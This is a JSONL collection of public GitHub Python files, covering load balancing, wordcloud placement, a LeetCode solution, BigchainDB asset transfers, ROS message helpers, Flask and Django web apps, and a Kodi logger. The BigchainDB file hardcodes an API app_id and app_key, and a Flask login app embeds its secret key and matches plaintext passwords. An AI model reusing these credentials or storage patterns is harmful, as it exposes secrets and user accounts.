              if left_load < current_load <= right_load:\n                    # balance the left and current\n                    left_load, current_load = left_balance(left_load, current_load)\n                elif left_load >= current_load > right_load:\n                    # balance the right and current\n                    right_load, current_load = right_balance(right_load, current_load)\n                elif left_load < current_load and current_load > right_load:\n                    # if current is greater than left and right, we need to try and give to both left and right\n                    if left_load > right_load:\n                        # give to right\n                        right_load, current_load = right_balance(right_load, current_load)\n                        if not balanced_neighbors(left_load, current_load):\n                            # if left and current are not balanced, then give from current to left\n                            left_load, current_load = left_balance(left_load, current_load)\n                    elif right_load > left_load:\n                        # give to left\n                        left_load, current_load = left_balance(left_load, current_load)\n                        if not balanced_neighbors(right_load, current_load):\n                            # if right and current are not balanced, then give from current to right\n                            right_load, current_load = right_balance(right_load, current_load)\n\n                # reset the loads after the balancing\n                processor_data[left_index][0] = left_load\n                processor_data[proc_idx][0] = current_load\n                processor_data[right_index][0] = right_load\n\n        # check if our run needs to terminate\n        check_termination()\n\n    # increment the time interval\n    time_index += 1\n","repo_name":"Mounitha-b/231P","sub_path":"balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":7044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31541243591","text":"import array\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef distance(ij, pos):\n    i, j = ij\n    return np.linalg.norm(pos - np.array([i, j]))\n\ndef query_integral_image(integral_image, size_x, size_y, random_state, pos, eps1, eps2):\n    x = integral_image.shape[0]\n    y = integral_image.shape[1]\n    i, j = 0, 0\n    hits = []\n\n    # count how many possible locations\n    for i in range(x - size_x):\n        for j in range(y - size_y):\n            area = integral_image[i, j] + integral_image[i + size_x, j + size_y]\n            area -= integral_image[i + size_x, j] + integral_image[i, j + size_y]\n            if not area:\n                d = distance((i, j), pos)\n                if d <= eps1:\n                    hits.append((i,j,d))\n    if not hits:\n        # no room left\n        return None\n\n    best_hits = [(i, j) for i, j, d in hits if d <= eps2 * eps1]\n\n    if best_hits:\n        return best_hits[np.random.choice(len(best_hits))]\n    else:\n        i, j, _ = min(hits, key=lambda x: x[2])\n        return i, j\n\n    \"\"\"\n    # pick a location at random\n    goal = random_state.randint(0, hits)\n    hits = 0\n    for i in range(x - size_x):\n        for j in range(y - size_y):\n            area = integral_image[i, j] + integral_image[i + size_x, j + size_y]\n            area -= integral_image[i + size_x, j] + integral_image[i, j + size_y]\n            if not area:\n                hits += 1\n                if hits == goal:\n                    print(i, j)\n                    return i, j\n    \"\"\"\n","repo_name":"kotstot6/WellsFargoChallenge","sub_path":"visuals/wordcloud/query_integral_image.py","file_name":"query_integral_image.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16989215058","text":"#\n# @lc app=leetcode id=1143 lang=python3\n#\n# [1143] Longest Common Subsequence\n#\n\n# @lc code=start\nclass Solution:\n    def longestCommonSubsequence(self, text1: str, text2: str) -> int:\n        n, m = len(text1), len(text2)\n        strMat = [[0]*m for _ in range(n)]\n        if text1[0] == text2[0]:\n            strMat[0][0] = 1\n        else:\n            strMat[0][0] = 0\n        for i in range(n):\n            for j in range(m):\n                if i == 0 and j == 0:\n                    continue\n                elif i == 0 and j != 0:\n                    strMat[i][j] = max(strMat[i][j-1], \n                                       int(text1[i] == text2[j]))\n                elif i != 0 and j == 0:\n                    strMat[i][j] = max(strMat[i-1][j], \n                                       int(text1[i] == text2[j]))\n                else:\n                    if text1[i] == text2[j]:\n                        strMat[i][j] = strMat[i-1][j-1] + 1\n                    else:\n                        strMat[i][j] = max(strMat[i-1][j], strMat[i][j-1]) \n\n        return strMat[i][j]     \n# @lc code=end\n\n","repo_name":"Shawntl/Data-Structure-and-Algorithms","sub_path":"leetcode/1143.longest-common-subsequence.py","file_name":"1143.longest-common-subsequence.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17238413903","text":"from bigchaindb_driver import BigchainDB\nfrom keygen import alice, bob\n\ntokens = {}\ntokens['app_id'] = '52087ff5'\ntokens['app_key'] = '315c78371efd2b70ddfc7c6ca6024fd7'\nbdb = BigchainDB('https://test.ipdb.io/', headers=tokens)\n\n\n# here I create for testing purposes to keypair objects\n# one named bob and another alice each containing a priv and pub key\n\n\nclass Asset:\n    def __init__(self, description, serial=\"default\", manufacturer=\"default\"):\n        name = {\n            'data': {\n                description: {\n                    'serial_number': serial,\n                    'manufacturer': manufacturer,\n                },\n            },\n        }\n\n        prepared_creation_tx = bdb.transactions.prepare(\n            operation='CREATE',\n            signers=alice.public_key,\n            asset=name,\n        )\n        self.fulfilled_creation_tx = bdb.transactions.fulfill(\n            prepared_creation_tx,\n            private_keys=alice.private_key\n        )\n        sent_creation_tx = bdb.transactions.send(self.fulfilled_creation_tx)\n        self.txid = self.fulfilled_creation_tx['id']\n\n        trials = 0\n\n        while trials < 102233210:\n            trials += 1\n\n        print(bdb.transactions.status(self.txid))\n\n\n    def get_asset_details(self):\n        return(self.fulfilled_creation_tx)\n\n    def gettxid(self):\n        return(self.txid)\n\n    def transferasset(self):\n        asset_id = self.txid\n        transfer_asset = {\n            'id': asset_id\n        }\n        output_index = 0\n        output = self.fulfilled_creation_tx['outputs'][output_index]\n        transfer_input = {\n            'fulfillment': output['condition']['details'],\n            'fulfills': {\n                'output_index': output_index,\n                'transaction_id': self.fulfilled_creation_tx['id']\n            },\n            'owners_before': output['public_keys']\n        }\n        prepared_transfer_tx = bdb.transactions.prepare(\n            operation='TRANSFER',\n            asset=transfer_asset,\n            inputs=transfer_input,\n            recipients=bob.public_key,\n        )\n        fulfilled_transfer_tx = bdb.transactions.fulfill(\n            prepared_transfer_tx,\n            private_keys=alice.private_key,\n        )\n        sent_transfer_tx = bdb.transactions.send(fulfilled_transfer_tx)\n\n        print(\"Is Bob the owner?\",\n              sent_transfer_tx['outputs'][0]['public_keys'][0] == bob.public_key)\n\n        print(\"Was Alice the previous owner?\",\n              fulfilled_transfer_tx['inputs'][0]['owners_before'][0] == alice.public_key)\n\n    def view_asset(self, txid=\"\"):\n        creation_tx = bdb.transactions.retrieve(self.txid)\n        return creation_tx\n\n\n    def view_asset_by_tx(self, txid):\n        creation_tx = bdb.transactions.retrieve(txid)\n        return creation_tx\n\n","repo_name":"Dgabay2015/Blockchain-App-using-BigchainDB","sub_path":"asset.py","file_name":"asset.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"}
+{"seq_id":"74537121067","text":"\"\"\"Helper functions for ROS messaging\"\"\"\nimport time\n\nimport numpy as np\nfrom geographic_msgs.msg import BoundingBox, GeoPoint\nfrom geometry_msgs.msg import Quaternion\nfrom scipy.spatial.transform import Rotation\nfrom std_msgs.msg import Header\n\nfrom ._assertions import assert_shape, assert_type\nfrom ._data import BBox\n\n# region ROS topic names\nROS_TOPIC_GPS_INPUT = \"/mavros/gps_input/gps_input\"\n\"\"\"Name of ROS topic for outgoing :class:`mavros_msgs.msg.GPSINPUT` messages\nover MAVROS\"\"\"\n\nROS_TOPIC_HIL_GPS = \"/mavros/hil/gps\"\n\"\"\"Name of ROS topic for outgoing :class:`mavros_msgs.msg.HilGPS` messages\nover MAVROS\"\"\"\n\nROS_TOPIC_SENSOR_GPS = \"/fmu/in/sensor_gps\"\n\"\"\"Name of ROS topic for outgoing :class:`px4_msgs.msg.SensorGps` messages\nover PX4 DDS bridge\"\"\"\n\nROS_TOPIC_CAMERA_INFO = \"/camera/camera_info\"\n\"\"\"Name of ROS topic for :class:`sensor_msgs.msg.CameraInfo` messages\"\"\"\n\nROS_TOPIC_IMAGE = \"/camera/image_raw\"\n\"\"\"Name of ROS topic for :class:`sensor_msgs.msg.Image` messages\"\"\"\n\nROS_TOPIC_HOME_POSITION = \"/mavros/home_position/home\"\n\"\"\"Name of ROS topic for :class:`mavros_msgs.msg.HomePosition` messages\"\"\"\n\n# endregion ROS topic names\n\n\nDELAY_SLOW_MS = 10000\n\"\"\"Max delay for messages where updates are not needed nor expected often,\ne.g. home position\n\"\"\"\n\n\nDELAY_DEFAULT_MS = 2000\n\"\"\"Max delay for things like global position\"\"\"\n\n\nDELAY_FAST_MS = 500\n\"\"\"Max delay for messages with fast dynamics that go \"stale\" quickly, e.g.\nlocal position and attitude. The delay can be a bit higher than is\nintuitive because the vehicle EKF should be able to fuse things with\nfast dynamics with higher lags as long as the timestamps are accurate.\n\"\"\"\n\n\ndef create_header(frame_id: str = \"\") -> Header:\n    \"\"\"Creates a class:`std_msgs.msg.Header` for an outgoing ROS message\n\n    :param frame_id: Header frame_id value\n    :return: ROS message header\n    \"\"\"\n    # TODO: use rclpy clock to create stamp\n    time_ns = time.time_ns()\n    sec = int(time_ns / 1e9)\n    nanosec = int(time_ns - (1e9 * sec))\n    header = Header()\n    header.stamp.sec = sec\n    header.stamp.nanosec = nanosec\n    header.frame_id = frame_id\n    return header\n\n\ndef usec_from_header(header: Header) -> int:\n    \"\"\"Returns timestamp in microseconds from :class:`.std_msgs.msg.Header` stamp\"\"\"\n    return int(1e6 * header.stamp.sec + 1e-3 * header.stamp.nanosec)\n\n\ndef as_ros_quaternion(q: np.ndarray) -> Quaternion:\n    \"\"\"Converts (x, y, z, w) format numpy array quaternion to ROS\n    :class:`geometric_msg.msg.Quaternion`\n\n    .. seealso:\n        :meth:`.ros_to_np_quaternion`\n\n    :param q: NumPy array quaternion of shape in (x, y, z, w) format\n    :return: ROS quaternion message\n    \"\"\"\n    assert_type(q, np.ndarray)\n    q = q.squeeze()\n    assert_shape(q, (4,))\n    return Quaternion(x=q[0].item(), y=q[1].item(), z=q[2].item(), w=q[3].item())\n\n\ndef as_np_quaternion(q: Quaternion) -> np.ndarray:\n    \"\"\"Converts ROS :class:`geometric_msg.msg.Quaternion` to (x, y, z, w)\n    format numpy array quaternion\n\n    .. seealso:\n        :meth:`.np_to_ros_quaternion`\n\n    :param q: ROS quaternion message\n    :return: NumPy array quaternion in (x, y, z, w) format\n    \"\"\"\n    return np.array([q.x, q.y, q.z, q.w])\n\n\ndef wxyz_to_xyzw_q(q: np.ndarray) -> np.ndarray:\n    \"\"\"Converts quaternion from (w, x, y, z) to (x, y, z, w) format\n\n    .. note::\n        (w, x, y, z) is used by e.g. :class:`px4_msgs.msg.VehicleAttitude`\n        while (x, y, z, w) is used by e.g. :class:`mavros_msgs.msg.Quaternion`\n        and also SciPy.\n\n    :param q: Quaternion in (w, x, y, z) format\n    :return: Quaternion in (x, y, z, w) format\n    \"\"\"\n    q_out = q.squeeze()\n    assert_shape(q_out, (4,))\n    q_out = np.append(q_out[1:], q_out[0])\n    q_out = q_out.reshape(q.shape)  # Re-add potential padding\n    return q_out\n\n\ndef bbox_to_bounding_box(bbox: BBox) -> BoundingBox:\n    \"\"\"Converts :class:`.BBox` to ROS :class:`geographic_msgs.msg.BoundingBox`\"\"\"\n    return BoundingBox(\n        min_pt=GeoPoint(latitude=bbox.bottom, longitude=bbox.left, altitude=np.nan),\n        max_pt=GeoPoint(latitude=bbox.top, longitude=bbox.right, altitude=np.nan),\n    )\n\n\ndef bounding_box_to_bbox(msg: BoundingBox) -> BBox:\n    \"\"\"Converts :class:`geographic_msgs.msg.BoundingBox` to :class:`.BBox`\"\"\"\n    return BBox(\n        msg.min_pt.longitude,\n        msg.min_pt.latitude,\n        msg.max_pt.longitude,\n        msg.max_pt.latitude,\n    )\n\n\ndef quaternion_to_rotation_matrix(q):\n    \"\"\"Convert a ROS2 geometry_msgs Quaternion to a numpy rotation matrix.\"\"\"\n    # Construct a rotation object from ROS2 geometry_msgs\n    rotation = Rotation.from_quat([q.x, q.y, q.z, q.w])\n\n    # Convert the rotation object to a rotation matrix\n    rotation_matrix = rotation.as_matrix()\n\n    return rotation_matrix\n\n\ndef rotation_matrix_to_quaternion(matrix):\n    \"\"\"Convert a numpy rotation matrix to a ROS2 geometry_msgs Quaternion.\"\"\"\n\n    # Construct a rotation object from the rotation matrix\n    rotation = Rotation.from_matrix(matrix)\n\n    # Convert the rotation object to a quaternion\n    quat = rotation.as_quat()\n\n    # Create a ROS2 geometry_msgs Quaternion message\n    q = Quaternion()\n    q.x = quat[0]\n    q.y = quat[1]\n    q.z = quat[2]\n    q.w = quat[3]\n\n    return q\n\n\ndef corners_to_bounding_box(corners):\n    \"\"\"\n    Generates a geographic_msgs/BoundingBox message from the FOV corners.\n\n    :param corners: A dictionary containing the coordinates (latitude, longitude)\n        of the four corners of the FOV.\n    :return: A geographic_msgs/BoundingBox message representing the bounding\n        box of the FOV.\n    \"\"\"\n    # Extract the latitudes and longitudes from the corners\n    latitudes = [corner.lat for corner in corners.values()]\n    longitudes = [corner.lon for corner in corners.values()]\n\n    # Create the bounding box\n    bounding_box = BoundingBox()\n    bounding_box.min_latitude = min(latitudes)\n    bounding_box.min_longitude = min(longitudes)\n    bounding_box.max_latitude = max(latitudes)\n    bounding_box.max_longitude = max(longitudes)\n\n    return bounding_box\n\n\ndef off_nadir_angle_v2(quaternion: np.ndarray):\n    \"\"\"\n    Off-nadir angle (magnitude) of quaternion assuming nadir origin\n\n    :param quaternion: Quaternion in (x, y, z, w) format\n    :raise: ValueError if quaternion is invalid\n    \"\"\"\n    # Normalize the quaternion\n    norm = np.linalg.norm(quaternion)\n    if norm > 0:\n        quaternion = quaternion / norm\n    else:\n        raise ValueError(\"Invalid quaternion: norm is zero\")\n\n    # Calculate rotation angle in radians\n    angle = 2 * np.arccos(quaternion[3])\n\n    # Convert to degrees\n    angle_degrees = np.degrees(angle)\n\n    return angle_degrees\n\n\ndef off_nadir_angle(q):\n    # Rotated vector\n    rotated_x = 2.0 * (q.x * q.z - q.w * q.y)\n    rotated_y = 2.0 * (q.y * q.z + q.w * q.x)\n    rotated_z = q.w * q.w - q.x * q.x - q.y * q.y + q.z * q.z\n\n    # Down direction\n    down_x, down_y, down_z = 0.0, 0.0, -1.0\n\n    # Dot product of rotated vector and down direction\n    dot_product = rotated_x * down_x + rotated_y * down_y + rotated_z * down_z\n\n    # Clamp dot_product to avoid floating-point precision issues\n    dot_product = max(min(dot_product, 1.0), -1.0)\n\n    # Compute the angle between the rotated vector and down direction\n    angle_rad = np.arccos(dot_product)\n\n    # Convert the angle to degrees\n    angle_deg = np.degrees(angle_rad)\n\n    return angle_deg\n","repo_name":"hmakelin/gisnav","sub_path":"gisnav/gisnav/messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":7372,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"37"}
+{"seq_id":"12159871509","text":"import pandas as pd\r\nimport sympy as sym\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n# Reading the CSV Datapoints File from the command line input\r\nfilename = input(\"Enter name of input file: \")\r\nsqftrentA = pd.read_csv(filename)\r\n\r\n#Function to apply the line equation\r\ndef y_pred(x):\r\n    a1 , a2 = sym.symbols('a1 a2')\r\n    return a1*x+a2\r\n\r\n#Applying the General (y=mx+c) equation for the Y values in sqftrentA\r\nsqftrentP = sqftrentA.apply(y_pred)\r\n\r\n#Calculating error value by subtraction Y actual from Y prediction\r\nE = pd.Series(sqftrentA['Y'].subtract(sqftrentP['X']))\r\n\r\n#Applying Square to remove the ambiguity in sign (+/-)\r\nET = pd.Series(E*E)\r\n\r\n#Assigning Sympy symobols for the variable a1 and a2\r\na1= sym.symbols('a1')\r\na2= sym.symbols('a2')\r\n\r\n#Calculating error summation\r\nfunction= ET.sum()\r\n\r\n#Applying partial derivative for a1 and a2\r\npartialderiv_a1= sym.Derivative(function, a1)\r\npartialderiv_a2= sym.Derivative(function, a2)\r\n\r\n#Storing that value in ET_a1 and ET_a2\r\nET_a1 = partialderiv_a1.doit()\r\nET_a2 = partialderiv_a2.doit()\r\n\r\n#Solving the equation to find a1 and a2\r\nsym.solve((ET_a1,ET_a2), (a1, a2))\r\n\r\n#Storing a1 and a2 value in a pandas frame\r\nsol_a1_a2 = pd.Series(sym.solve((ET_a1, ET_a2), (a1, a2)))\r\n\r\n#Calculating Accuracy\r\neq3 = ET.sum()/ET.count()\r\nS = eq3.subs([(a1,sol_a1_a2[0]), (a2,sol_a1_a2[1])])\r\naccuracy = math.sqrt(S)\r\n\r\n#Applying X value in the equation y=mx+c to calulate the error percentage\r\n#Getting the value of X from command line\r\nb = input(\"Enter X value to calculate the Y value: \")\r\nb1 = float(b)\r\ny = sol_a1_a2[0]*b1+sol_a1_a2[1]\r\n\r\n#changing the datatype to float\r\ny1 = float(y)\r\n\r\n#Calculating error percentage\r\nerror = (abs(accuracy-y1)/y1)*100\r\n\r\n#plotting the graph using matplotlib\r\nx = np.linspace(0, 16000, 50)\r\ny = sol_a1_a2[0]*x+sol_a1_a2[1]\r\nplt.scatter(sqftrentA.X, sqftrentA.Y, color=\"grey\",label = 'Training set')\r\nplt.plot(x, y, '-r', label='Curve Fit')\r\nplt.title('Univariate Linear Regression')\r\nplt.xlabel('x', color='#1C2833')\r\nplt.ylabel('y', color='#1C2833')\r\nplt.legend(loc='upper left')\r\nplt.grid()\r\nplt.show()\r\n\r\n#printing Y value and accuracy percentage of the model\r\nprint(\"Y Value\", y1)\r\nprint(\"Accuracy Percentage of this Model\", round(error,2),\"%\")\r\n","repo_name":"gokilacodes/univariate-linear-regression","sub_path":"Univariate_Linear_Regression_Model.py","file_name":"Univariate_Linear_Regression_Model.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"3553071243","text":"from functools import wraps\n\nfrom flask import Flask, url_for, redirect, request, render_template, session, abort\n\nfrom data_tools import *\nfrom forms import RegisterForm, LoginForm\n\ndatabase = Database('data.db')\num = UsersModel(database)\napp = Flask(__name__)\napp.config['SECRET_KEY'] = r'=CqWM9G&BpA&MuKTR5Qv5=8qV^2xExC9%yM7@=fA+V5nAstAf3tAR$#&+v^a2hvY'\n\n\ndef set_session(uid):\n    session['uid'] = uid\n    u = um[uid]\n    session['name'] = u['name']\n\n\ndef del_session():\n    session.pop('uid')\n    session.pop('name')\n\n\ndef logged_in():\n    return 'uid' in session\n\n\ndef login_required(f):\n    @wraps(f)\n    def login_required_wrapper(*args, **kwargs):\n        if not logged_in():\n            if request.headers.get('referer', 'index').endswith('login'):\n                return redirect('index')\n            else:\n                return redirect('login')\n        else:\n            return f(*args, **kwargs)\n\n    return login_required_wrapper\n\n\ndef get_redirect_link():\n    if request.headers.get('referer', 'index') == request.url:\n        return 'index'\n    else:\n        return request.headers.get('referer', 'index')\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login_form():\n    form = LoginForm()\n    if 'uid' not in session:\n        if form.validate_on_submit():\n            users = um.find_user(name=form.login.data, password=form.password.data)\n            if users:\n                user = users[0]\n                set_session(user['id'])\n            else:\n                form.errors['account'] = ['Неверные данные для входа']\n    if 'uid' not in session:\n        return render_template('login.html', title='Вход', form=form)\n    else:\n        return render_template('login_success.html',\n                               title='Login success',\n                               link=get_redirect_link())\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register_form():\n    form = RegisterForm()\n    if not logged_in():\n        if form.validate_on_submit():\n            name, pas = form.login.data, form.password.data\n            if not um.user_exists(name):\n                um.add_user(name, pas)\n                new_user = um.find_user(name=name, password=pas)[0]\n                set_session(new_user['id'])\n                return render_template('login_success.html',\n                                       title='Registration successful',\n                                       link=get_redirect_link())\n            else:\n                form.login.errors.insert(0, 'Имя уже занято')\n        return render_template('register.html', title='Регистрация', form=form)\n    else:\n        return redirect(request.headers.get('referer', 'index'))\n\n\n@app.route('/logout')\n@login_required\ndef logout_page():\n    del_session()\n    return render_template('logout.html', link=get_redirect_link(), title='Выход')\n\n\n@app.route('/index')\ndef index():\n    if logged_in():\n        return redirect('/profile')\n    else:\n        return redirect('/login')\n\n\n@app.route('/profile')\ndef profile():\n    if not logged_in():\n        return redirect('/login')\n    else:\n        userdata = um.get_user(session['uid'])\n        print(dict(userdata))\n        return render_template('profile.html', profile=dict(userdata), title='Домашняя страница')\n\n\nif __name__ == '__main__':\n    app.run(port=8080)\n    database.con.commit()\n","repo_name":"Artizi/Web-Serwer-","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20032619187","text":"class BaseProduct:\n    def __init__(\n        self,\n        product_name,\n        description,\n        unit_price,\n        quantity_in_stock,\n        category_id=None,\n        category_name=None,\n        supplier_id=None,\n        supplier_name=None,\n    ):\n        self.product_name = product_name\n        self.description = description\n        self.unit_price = unit_price\n        self.quantity_in_stock = quantity_in_stock\n        self.category_id = category_id\n        self.category_name = category_name\n        self.supplier_id = supplier_id\n        self.supplier_name = supplier_name\n\n    def __repr__(self):\n        return f\"ProductName='{self.product_name}', Description='{self.description}', UnitPrice={self.unit_price}, QuantityInStock={self.quantity_in_stock}, CategoryID={self.category_id}', SupplierID={self.supplier_id},')\"\n\n\nclass Product(BaseProduct):\n    def __init__(\n        self,\n        product_id,\n        product_name,\n        description,\n        unit_price,\n        quantity_in_stock,\n        category_id=None,\n        category_name=None,\n        supplier_id=None,\n        supplier_name=None,\n    ):\n        super().__init__(\n            product_name=product_name,\n            description=description,\n            unit_price=unit_price,\n            quantity_in_stock=quantity_in_stock,\n            category_id=category_id,\n            supplier_id=supplier_id,\n        )\n        self.product_id = product_id\n\n        self.category_name = category_name\n        self.supplier_name = supplier_name\n\n    def __repr__(self):\n        return f\"Product(ProductID={self.product_id}, ProductName='{self.product_name}', Description='{self.description}', UnitPrice={self.unit_price}, QuantityInStock={self.quantity_in_stock}, CategoryID={self.category_id}, CategoryName='{self.category_name}', SupplierID={self.supplier_id}, SupplierName='{self.supplier_name}')\"\n","repo_name":"zYasser/Inventory-Management-System","sub_path":"models/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11545693488","text":"import inspect\nimport re\nimport traceback\n\nimport xbmc  # pylint: disable=import-error\n\nfrom .constants import CONFIG\nfrom .settings import AddonSettings\n\n\nclass Logger:\n    LOG_NOTICE = -1\n    LOG_DEBUG = 0\n    LOG_DEBUGPLUS = 1\n    LOG_ERROR = 9\n    DEBUG_MAP = {\n        LOG_NOTICE: 'notice',\n        LOG_DEBUG: 'debug',\n        LOG_DEBUGPLUS: 'debug+',\n        LOG_ERROR: 'error'\n    }\n\n    token_regex = re.compile(r'-Token=[a-zA-Z0-9|\\-_]+([\\s&|\\'\"])+')\n    token2_regex = re.compile(r'-Token=[a-zA-Z0-9|\\-_]+$')\n    access_token_regex = re.compile(r'accessToken=\"[^\"]+?\"')\n    ip_regex = re.compile(r'\\.\\d{1,3}\\.\\d{1,3}\\.')\n    ip_dom_regex = re.compile(r'-\\d{1,3}-\\d{1,3}-')\n    user_regex = re.compile(r'-User=[a-zA-Z0-9|\\-_]+([\\s&|\\'\"])+')\n    user2_regex = re.compile(r'-User=[a-zA-Z0-9|\\-_]+$')\n\n    def __init__(self, sub=None):\n\n        self.settings = AddonSettings()\n\n        self.main = CONFIG['name']\n        if sub:\n            self.sub = '.' + sub\n        else:\n            self.sub = ''\n\n        self.level = self.settings.get_debug()\n        self.privacy = self.settings.privacy()\n\n    def get_name(self, level):\n        return self.DEBUG_MAP[level]\n\n    def error(self, message, no_privacy=False):\n        return self.__print_message(message, self.LOG_ERROR, no_privacy)\n\n    def notice(self, message, no_privacy=False):\n        return self.__print_message(message, self.LOG_NOTICE, no_privacy)\n\n    def debug(self, message, no_privacy=False):\n        return self.__print_message(message, self.LOG_DEBUG, no_privacy)\n\n    def debugplus(self, message, no_privacy=False):\n        return self.__print_message(message, self.LOG_DEBUGPLUS, no_privacy)\n\n    def __get_kodi_log_level(self, level):\n        if level == self.LOG_ERROR:\n            return xbmc.LOGERROR\n        if level == self.LOG_NOTICE:\n            return xbmc.LOGINFO\n        return xbmc.LOGDEBUG\n\n    def __print_message(self, msg, level=0, no_privacy=False):\n        if self.level == 2:\n            return\n\n        if not isinstance(msg, str):\n            try:\n                msg = str(msg)\n            except:  # pylint: disable=bare-except\n                level = self.LOG_ERROR\n                msg = 'Logging failed to coerce \\'%s\\' message' % type(msg)\n\n        tag = ''\n        try:\n            msg = msg.decode('utf-8')\n        except AttributeError:\n            pass\n\n        if self.privacy and not no_privacy:\n            try:\n                msg = self.token_regex.sub(r'-Token=XXXXXXXXXX\\g<1>', msg)\n                msg = self.token2_regex.sub(r'-Token=XXXXXXXXXX', msg)\n                msg = self.access_token_regex.sub(r'accessToken=\"XXXXXXXXXX\"', msg)\n                msg = self.ip_regex.sub(r'.X.X.', msg)\n                msg = self.ip_dom_regex.sub(r'-X-X-', msg)\n                msg = self.user_regex.sub(r'-User=XXXXXXX\\g<1>', msg)\n                msg = self.user2_regex.sub(r'-User=XXXXXXX', msg)\n            except:  # pylint: disable=bare-except\n                msg = 'Logging failure:\\n%s' % traceback.format_exc()\n\n        if self.level >= level or level in [self.LOG_ERROR, self.LOG_NOTICE]:\n            log_level = self.__get_kodi_log_level(level)\n            try:\n                xbmc.log('%s%s -> %s : %s%s' %\n                         (self.main, self.sub, inspect.stack(0)[2][3], msg, tag), log_level)\n            except:  # pylint: disable=bare-except\n                msg = 'Logging failure:\\n%s' % traceback.format_exc()\n                xbmc.log('%s%s -> %s : %s%s' %\n                         (self.main, self.sub, inspect.stack(0)[2][3], msg, tag), log_level)\n\n    def __call__(self, msg, level=0):\n        return self.__print_message(msg, level)\n","repo_name":"anxdpanic/plugin.video.composite_for_plex","sub_path":"resources/lib/composite_addon/addon/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"37"}
+{"seq_id":"34079637716","text":"import os,sys\nimport serial\nimport time\nimport json\nfrom flask import Flask\n\nser = serial.Serial('/dev/ttyUSB0',9600,timeout=10); #USB port na kojem je Arduino, baudrate Arduina, timeout komunikacije u s\n#Slušaj input, izađi iz skripte ako je timeout prošao bez ikakvog inputa\nmessage={\"Greska\":\"Nije ocitan serijski port\"};\ntrenutnaTemperatura=0;\ntrenutniNivo =0;\ndef ocitaj_serijski_port():    \n    ser.flushInput()\n    time.sleep(0.1)\n    ser.write(\"C\\n\".encode('utf-8'))\n    line = str(ser.readline(),'utf-8')\n    line1 = str(ser.readline(),'utf-8')\n    ispis = line.replace('\\r\\n','')\n    ispis1 = line1.replace('\\r\\n','')\n    if len(line) == 0 or len(line1)==0:\n        print(\"Dostignut je timeout! Izađi! \\n\")\n        sys.exit()\n    vrijednost = float(ispis)\n    vrijednost1= float(ispis1)\n    global message\n    global trenutnaTemperatura\n    global trenutniNivo\n    trenutnaTemperatura = vrijednost\n    trenutniNivo = vrijednost1\n    message = {\"Temperatura\":str(vrijednost), \"Nivo\":str(vrijednost1)};\n    ser.flushOutput()\n    \napp = Flask(__name__)\n\n@app.route('/v',methods=['GET','POST'])\ndef v():\n    if request.method == 'POST':\n        return jsonify(message)\n    else:\n        ocitaj_serijski_port()\n        time.sleep(0.1)\n        return jsonify(message)\nif __name__ == '__main__':\n    app.run(host='0.0.0.0',port = 8000)","repo_name":"dzemildzigal/SmartAquariumSolution","sub_path":"Python_sve/server_flask.py","file_name":"server_flask.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15263367475","text":"from django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import ValidationError\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.http import require_GET, require_POST\n\nfrom products.src.command import create_product, vote_product\nfrom products.src.exceptions.custom_exceptions import ProductNotExistsException\nfrom products.src.query import detail, index\nfrom products.src.exceptions import custom_exceptions\n\n\n@require_GET\ndef home(request):\n    query = index.Query()\n    manager = index.Manager()\n    products = manager(query)\n\n    return render(request, 'products/home.html', {'products': products})\n\n\n@require_GET\n@login_required(login_url='show_login')\ndef create(request):\n    return render(request, 'products/create.html')\n\n\n@require_POST\n@login_required(login_url='show_login')\ndef store_product(request):\n    try:\n        command = create_product.Command(request.POST.get('title'), request.POST.get('url'), request.POST.get('body'),\n                                 request.FILES.get('icon'), request.FILES.get('image'), request.user)\n        handler = create_product.Handler()\n        handler(command)\n    except ValidationError as exception:\n        return render(request, 'products/create.html', {'error': exception})\n    except custom_exceptions.UrlExistsException as exception:\n        return render(request, 'products/create.html', {'error': exception.get_message()})\n    '''except Exception as exception:\n        return render(request, 'products/create.html', {'error': exception})'''\n    return redirect('home')\n\n\n@require_GET\ndef show(request, product_id):\n    query_data = detail.Query(product_id)\n    manager = detail.Manager()\n    product = manager(query_data)\n    return render(request, 'products/detail.html', {'product': product})\n\n\n@require_POST\n@login_required(login_url='signup')\ndef vote(request, product_id):\n    try:\n        command = vote_product.Command(product_id)\n        handler = vote_product.Handler()\n        handler(command)\n\n        return redirect('product_detail', product_id=product_id)\n    except ProductNotExistsException as exception:\n        return redirect('product_detail', kwargs={'product_id': product_id, 'error': exception.get_message()})\n","repo_name":"carpancan/producthunt","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
